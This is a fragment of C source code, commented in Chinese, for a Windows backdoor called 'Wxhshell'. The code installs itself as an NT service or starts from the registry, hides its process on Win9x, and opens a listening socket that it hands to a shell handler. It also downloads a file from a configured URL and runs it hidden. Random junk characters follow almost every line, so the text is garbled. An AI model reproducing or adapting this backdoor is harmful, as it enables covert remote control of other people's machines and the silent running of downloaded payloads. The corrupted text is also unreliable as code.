DWORD BasePriority; Gzp*Vr
ULONG UniqueProcessId; v%kl*K`*
ULONG InheritedFromUniqueProcessId; }zIWagC6
} PROCESS_BASIC_INFORMATION; )Y`ybADd3
Bjh8uW
G
PROCNTQSIP NtQueryInformationProcess; `a[
V_4wO
j)wrF@W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7[0<,O6Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?w&?P}e +
dkW7k^g
HANDLE hProcess; \O]kf>nC
PROCESS_BASIC_INFORMATION pbi; Qb7&S5m
RBHU5]5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0KZ$v/m
if(NULL == hInst ) return 0; dGUiMix{N
21my9Ui]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wb%4f6i
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ce~Pms]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V+zn`
\a
Tkn8Wj
if (!NtQueryInformationProcess) return 0; .$1S-+(kV
9I}Uh#]k<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2*V]jO
if(!hProcess) return 0; !?sB=qo
>`|Wg@_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zCv)%y
Ffd4c
CloseHandle(hProcess); i6S["\h>
1d$wP$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W)^%/lAh
if(hProcess==NULL) return 0; b~{nS,_Rn
:UX8^+bfZ
HMODULE hMod; >|0I\{C
char procName[255]; 1ed^{Wa4$9
unsigned long cbNeeded; {suQ"iv
}rnu:7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p&\DG
: rudo[L
CloseHandle(hProcess); 'UTMEN&
b>9?gmR{
if(strstr(procName,"services")) return 1; // 以服务启动 7q{yLcC"
8@){\.M
return 0; // 注册表启动 a
p( PI?]X
}
'*EKi
[x-
9m\h
// 主模块 1@}<CWE9
int StartWxhshell(LPSTR lpCmdLine) ftQ;$@
{ xiL+s-
SOCKET wsl; sGh TP/
BOOL val=TRUE; Jx Kd
int port=0; / 8u}VYE
struct sockaddr_in door; :H#D4O8UiH
>[~`rOU*|Y
if(wscfg.ws_autoins) Install(); ztAC3,r]
BqpJvRJd
port=atoi(lpCmdLine); L=.@hs
6G(K8Q{>
if(port<=0) port=wscfg.ws_port; .yHK
@LY[kt6o
WSADATA data; lv~ga2>z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tv2k&\1
` +)Bl%*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jk Aru_C
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nr}O6IJ>Sg
door.sin_family = AF_INET; xZ* B}O{{H
door.sin_addr.s_addr = inet_addr("127.0.0.1"); b2RW=m-
door.sin_port = htons(port); 4q?R 3\e;
?kRx;S+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tOZ-]>U
closesocket(wsl); B,` `2\B
return 1; N7GZ'-t^Er
} HdTB[(
W"\+jHF"
if(listen(wsl,2) == INVALID_SOCKET) { of >
closesocket(wsl); =L;g:hc<
return 1; 7mn&w$MS4:
} sQ&<cBs2
Wxhshell(wsl); I|2dV9y
WSACleanup(); fo<nk|i
TkIiO>
return 0; ks,d4b=->
h\5~&}Hp
} b?2 \j}
9|NF)~Q}'
// 以NT服务方式启动 a/rQ@ c>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DcC|oU[
{ d7uS[tKqg
DWORD status = 0; #Fgybokm
DWORD specificError = 0xfffffff; 2Ky|+s[`[
{bC(>k|CQ
serviceStatus.dwServiceType = SERVICE_WIN32; fP- =wd
serviceStatus.dwCurrentState = SERVICE_START_PENDING; P057]cAat<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;y)3/46S
serviceStatus.dwWin32ExitCode = 0; <-gGm=R_ $
serviceStatus.dwServiceSpecificExitCode = 0; V0*MY{x#S
serviceStatus.dwCheckPoint = 0; KI].T+I
serviceStatus.dwWaitHint = 0; @PK
1
iQgr8[
SFf
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +(`.pa z@
if (hServiceStatusHandle==0) return; %WqUZ+yy
"|N0oEG&
status = GetLastError(); #WE
lL2&
if (status!=NO_ERROR) i3)7Qa[
{ |Qpd<L
serviceStatus.dwCurrentState = SERVICE_STOPPED; g6$\i
m
serviceStatus.dwCheckPoint = 0; =AF;3
serviceStatus.dwWaitHint = 0; qWXw*d1]
serviceStatus.dwWin32ExitCode = status; ^`RMf5i1m
serviceStatus.dwServiceSpecificExitCode = specificError; '#yIcV$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2+K-I
return; Cd_H<8__
} 'oM=ZU8wo
Wd7qpWItjQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; X@/wsW(kM\
serviceStatus.dwCheckPoint = 0; M"Z/E>ne
serviceStatus.dwWaitHint = 0; g>a%
gVly
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _UbyhBl
} ACI.{`SrQ=
~|oB|>
// 处理NT服务事件,比如:启动、停止 MRHRa
VOID WINAPI NTServiceHandler(DWORD fdwControl) n<eK\w
{ 6I|9@~!y[
switch(fdwControl) f%P#.
{ w;kiH+&
case SERVICE_CONTROL_STOP: >#`{(^
serviceStatus.dwWin32ExitCode = 0; K]^Jl0
serviceStatus.dwCurrentState = SERVICE_STOPPED; XAB/S8 e
serviceStatus.dwCheckPoint = 0; 7{V N27Fa_
serviceStatus.dwWaitHint = 0; _Om5wp=:
{ R-2Abyts2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d7Z$/ $
} I]Z"?T
return; 2Y;iqR
case SERVICE_CONTROL_PAUSE: a!&m\+?
serviceStatus.dwCurrentState = SERVICE_PAUSED; |T*t3}
break; 3g0v,7,Zv
case SERVICE_CONTROL_CONTINUE: YdYaLTz
serviceStatus.dwCurrentState = SERVICE_RUNNING; VK|$SY(
break; LX(`@-<DH
case SERVICE_CONTROL_INTERROGATE: 20M]gw]
break; cA{,2CYc
}; \}gITc).j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Re1}aLd
} 5X9*K
vJQ_mz
// 标准应用程序主函数 >/.Ae8I)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bV*q~@xh
{
B"t4{1/
z:08;}t
// 获取操作系统版本 !1<>][F
OsIsNt=GetOsVer(); JP]-a!5Ru
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2W/*1K}
l5U ^lc
// 从命令行安装 r90R~'5x9
if(strpbrk(lpCmdLine,"iI")) Install(); +1eb@bX
wFJ*2W:
// 下载执行文件 y)7;"3Q<
if(wscfg.ws_downexe) { #BIY[{!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NRs%q}lX
WinExec(wscfg.ws_filenam,SW_HIDE); JNI&]3[C>?
} xfqU
atC
zB6&),[,v
if(!OsIsNt) { 9"dZ4{\!
// 如果时win9x,隐藏进程并且设置为注册表启动 %D ,(S-Uj
HideProc(); 1Nz#,IdQ
StartWxhshell(lpCmdLine); \~T&C5
} 8>:u%+C1c
else '~x jaa;.
if(StartFromService()) u}jC$T>2%6
// 以服务方式启动 |+1k7S,
StartServiceCtrlDispatcher(DispatchTable); I.1(qbPkF+
else CSr2\ogT
// 普通方式启动 y*lAmO
StartWxhshell(lpCmdLine); 9hhYyqGsO
py\/m]
return 0; wNl "y
}